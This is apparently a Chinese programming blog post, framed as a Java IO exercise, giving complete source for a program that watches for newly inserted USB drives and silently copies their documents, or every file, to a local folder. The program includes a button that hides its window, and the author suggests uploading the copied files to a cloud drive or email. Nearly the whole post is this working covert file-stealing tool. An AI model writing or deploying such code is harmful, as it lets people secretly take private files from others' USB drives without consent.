java实现u盘内容的自动复制

这个小程序的功能是,检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家,就当作是练习io流的小练习。


这个小程序的实现方法如下:

1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。

2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。


需要注意的是,由于U盘的内容可能很大,所以拷贝的时候最好指定要拷贝的文件类型,如ppt,doc,txt等等。

下面是这个小程序的相关代码:

在CopyThread类中可以指定要复制的文件类型,大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件,将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径,当然,如果愿意的话,你可以将文件上传到网盘,邮箱等等。。。


一、USBMain类,程序入口:

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;

public class USBMain {

	public static void main(String[] args) {
		USBMain u = new USBMain();
		u.launchFrame();
		//开启盘符检查线程
		new CheckRootThread().start();
	}

	// 界面
	private void launchFrame() {
		final JFrame frame = new JFrame();
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setLocation(450, 250);
		JButton hide = new JButton("点击隐藏窗口");
		// 点击按钮后隐藏窗口事件监听
		hide.addActionListener(new ActionListener() {
			public void actionPerformed(ActionEvent e) {
				frame.setVisible(false);
			}
		});
		frame.add(hide);
		frame.pack();
		frame.setVisible(true);
	}
}

二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。

import java.io.File;

//此类用于检查新盘符的出现,并触发新盘符文件的拷贝
public class CheckRootThread extends Thread {
	// 获取系统盘符
	private File[] sysRoot = File.listRoots();

	public void run() {
		File[] currentRoot = null;
		while (true) {
			// 当前的系统盘符
			currentRoot = File.listRoots();
			if (currentRoot.length > sysRoot.length) {
				for (int i = currentRoot.length - 1; i >= 0; i--) {
					boolean isNewRoot = true;
					for (int j = sysRoot.length - 1; j >= 0; j--) {
						// 当两者盘符不同时,触发新盘符文件的拷贝
						if (currentRoot[i].equals(sysRoot[j])) {
							isNewRoot = false;
						}
					}
					if (isNewRoot) {
						new CopyThread(currentRoot[i]).start();
					}
				}
			}
			sysRoot = File.listRoots();
			//每5秒时间检查一次系统盘符
			try {
				Thread.sleep(5000);
			} catch (InterruptedException e) {
				e.printStackTrace();
			}
		}
	}
}

三、CopyThread类,用于文件遍历并选择指定文件格式进行复制:

import java.io.File;

//该类用于对新盘符文件的复制
public class CopyThread extends Thread {
	// 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可
	private static String[] fileTypes = {"ppt","doc","txt","wps"};
	// private static String[] fileTypes = null;

	File file = null;

	public CopyThread(File file) {
		this.file = file;
	}

	public void run() {
		listUsbFiles(file);
	}
	
	//遍历盘符文件,并匹配文件复制
	private void listUsbFiles(File ufile) {
		File[] files = ufile.listFiles();
		for (File f : files) {
			if (f.isDirectory()) {
				listUsbFiles(f);
			} else {
				if (fileTypeMatch(f))
					new CopyFileToSysRoot(f).doCopy();
			}
		}
	}

	//匹配要复制的文件类型
	public boolean fileTypeMatch(File f) {
		//fileTypes为null时,则全部复制
		if (fileTypes == null) {
			return true;
		} else {
			for (String type : fileTypes) {
				if (f.getName().endsWith("." + type)) {
					return true;
				}
			}
		}
		return false;
	}
}

四、CopyFileToSysRoot类,复制文件的IO流实现:

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;

//文件复制IO
public class CopyFileToSysRoot {
	// 复制文件保存路径
	private static final String PATH = "D:\\USB";
	private File file = null;

	public CopyFileToSysRoot(File file) {
		this.file = file;
	}

	// 复制文件
	public void doCopy() {
		BufferedInputStream bis = null;
		BufferedOutputStream bos = null;

		try {
			//创建目录
			File fPath = new File(getFileParent(file));
			if (!fPath.exists()) {
				fPath.mkdirs();
			}

			bis = new BufferedInputStream(new FileInputStream(file));
			bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,
					file.getName())));

			byte[] buf = new byte[1024];
			int len = 0;
			while ((len = bis.read(buf)) != -1) {
				bos.write(buf, 0, len);
				bos.flush();
			}
		} catch (FileNotFoundException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			try {
				if (bis != null)
					bis.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
			try {
				if (bos != null)
					bos.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

	// 根据盘符中文件的路径,创建复制文件的文件路径
	public String getFileParent(File f) {
		StringBuilder sb = new StringBuilder(f.getParent());
		int i = sb.indexOf(File.separator);
		sb.replace(0, i, PATH);
		return sb.toString();
	}
}


  • 10
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值